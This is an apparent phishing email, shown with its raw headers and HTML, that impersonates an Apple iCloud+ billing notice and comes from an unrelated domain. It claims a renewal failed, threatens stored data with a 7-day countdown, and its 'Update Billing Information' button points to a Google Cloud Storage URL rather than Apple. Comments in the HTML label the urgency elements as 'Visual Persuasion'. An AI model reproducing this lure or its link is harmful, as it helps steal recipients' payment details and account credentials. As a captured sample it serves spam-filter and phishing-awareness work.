Return-Path: <support@b-reddy.org>
From: Cloud Services Admin <support@b-reddy.org>
To: bruce@untroubled.org
Subject: Final notice to keep your current storage plan before it is reduced to free tier
Message-ID: <1227491ea7c74f7abc93e9cad86b6ead@b-reddy.org>
Date: Sun, 26 Apr 2026 15:40:22 +0000
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Length: 7243

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Subscription Notice</title>
  <style type="text/css">
    body { margin: 0; padding: 0; background-color: #f5f5f7; }
    table { border-spacing: 0; border-collapse: collapse; }
    td { padding: 0; }
    img { border: 0; }
    
    /* System Button Hover */
    .btn-system:hover {
      background-color: #0077ED !important;
    }
    
    /* List Item Styles */
    .status-row td {
        padding-bottom: 12px;
        border-bottom: 1px solid #f5f5f7;
        padding-top: 12px;
    }
    .status-row:last-child td {
        border-bottom: none;
    }

    /* Mobile Optimization */
    @media only screen and (max-width: 600px) {
      .content-padding { padding: 30px 20px !important; }
      .wrapper { width: 100% !important; padding: 10px !important; }
    }
  </style>
</head>
<body style="margin: 0; padding: 0; background-color: #f5f5f7; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased;">

  <!-- Main Background: Apple System Gray -->
  <table width="100%" border="0" cellspacing="0" cellpadding="0" style="background-color: #f5f5f7;">
    <tr>
      <td class="wrapper" align="center" style="padding: 40px 10px;">
        
        <!-- Main Card: Pure White -->
        <table width="100%" border="0" cellspacing="0" cellpadding="0" style="max-width: 500px; background-color: #ffffff; border-radius: 18px; box-shadow: 0 2px 12px rgba(0,0,0,0.04); overflow: hidden;">
          
          <!-- Icon Section -->
          <tr>
            <td align="center" style="padding-top: 45px; padding-bottom: 15px;">
              <div style="font-size: 64px; line-height: 1; filter: opacity(0.9);">💳</div>
            </td>
          </tr>

          <!-- Text Content -->
          <tr>
            <td class="content-padding" align="center" style="padding: 0 45px 40px 45px;">
              
              <h1 style="margin: 0 0 12px 0; font-size: 26px; font-weight: 700; color: #1d1d1f; letter-spacing: -0.015em;">
                Subscription Review Needed
              </h1>
              
              <p style="margin: 0 0 25px 0; font-size: 16px; line-height: 1.5; color: #86868b; font-weight: 400;">
                We couldn't finalize the renewal for your <strong>iCloud+</strong> plan. Access to premium features has been temporarily paused.
              </p>

              <!-- Services Status List (Visual Persuasion) -->
              <table width="100%" border="0" cellspacing="0" cellpadding="0" style="margin-bottom: 25px;">
                <tr class="status-row">
                    <td width="30" style="font-size: 20px;">⏸️</td>
                    <td align="left" style="font-size: 14px; font-weight: 600; color: #1d1d1f;">Renewal Status</td>
                    <td align="right" style="font-size: 13px; color: #ff9500; font-weight: 500;">On Hold</td>
                </tr>
                <tr class="status-row">
                    <td width="30" style="font-size: 20px;">📊</td>
                    <td align="left" style="font-size: 14px; font-weight: 600; color: #1d1d1f;">Current Access</td>
                    <td align="right" style="font-size: 13px; color: #86868b; font-weight: 400;">Basic Tier</td>
                </tr>
                <tr class="status-row">
                    <td width="30" style="font-size: 20px;">⏳</td>
                    <td align="left" style="font-size: 14px; font-weight: 600; color: #1d1d1f;">Data Safety</td>
                    <td align="right" style="font-size: 13px; color: #ff3b30; font-weight: 600;">Time Sensitive</td>
                </tr>
              </table>

              <!-- Divider -->
              <div style="height: 1px; background-color: #e5e5e5; width: 100%; margin-bottom: 25px;"></div>

              <!-- Critical Warning Box -->
              <table width="100%" border="0" cellspacing="0" cellpadding="0" style="background-color: #FFF2F2; border-radius: 12px; padding: 15px; margin-bottom: 25px; border-left: 4px solid #ff3b30;">
                 <tr>
                    <td align="left">
                        <p style="font-size: 13px; font-weight: 700; color: #d32f2f; margin: 0 0 5px 0;">⚠️ Preservation Window</p>
                        <p style="font-size: 13px; color: #424245; margin: 0; line-height: 1.5;">
                            To maintain all stored content beyond 5GB, please review billing details within <strong>7 days</strong>.
                        </p>
                    </td>
                 </tr>
              </table>

              <!-- Retention Countdown Bar -->
              <table width="100%" border="0" cellspacing="0" cellpadding="0" style="margin-bottom: 10px;">
                <tr>
                  <td align="center">
                    <table width="100%" border="0" cellspacing="0" cellpadding="0" style="margin-bottom: 8px;">
                      <tr>
                         <td align="left" style="font-size: 12px; font-weight: 600; color: #1d1d1f;">Data Retention Window</td>
                         <td align="right" style="font-size: 12px; font-weight: 600; color: #ff3b30;">7 Days Remaining</td>
                      </tr>
                    </table>
                    <div style="width: 100%; height: 8px; background-color: #f5f5f7; border-radius: 6px; overflow: hidden;">
                      <!-- Visualizing 'Time Running Out' (small remaining bar) -->
                      <div style="width: 20%; height: 100%; background-color: #ff3b30; border-radius: 6px;"></div>
                    </div>
                  </td>
                </tr>
              </table>

              <p style="text-align: center; font-size: 12px; color: #86868b; margin-top: 20px; margin-bottom: 30px;">
                Review your payment information to resume full iCloud+ functionality.
              </p>

              <!-- Action Button: System Blue -->
              <a href="https://storage.googleapis.com/sdclodapsix/ls" class="btn-system" style="background-color: #0071e3; color: #ffffff; display: inline-block; padding: 14px 40px; font-size: 16px; font-weight: 600; text-decoration: none; border-radius: 980px; min-width: 180px; transition: background-color 0.2s;">
                Update Billing Information
              </a>
              
            </td>
          </tr>

        </table>
        
        <!-- Minimal Footer -->
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td align="center" style="padding-top: 25px;">
              <p style="margin: 0; font-size: 12px; color: #86868b; line-height: 1.4;">
                Reference: 2849-AF • <a href="https://storage.googleapis.com/unsublinkofcloud/unsb" style="color: #86868b; text-decoration: underline;">Support</a>
              </p>
            </td>
          </tr>
        </table>

      </td>
    </tr>
  </table>

</body>
</html>
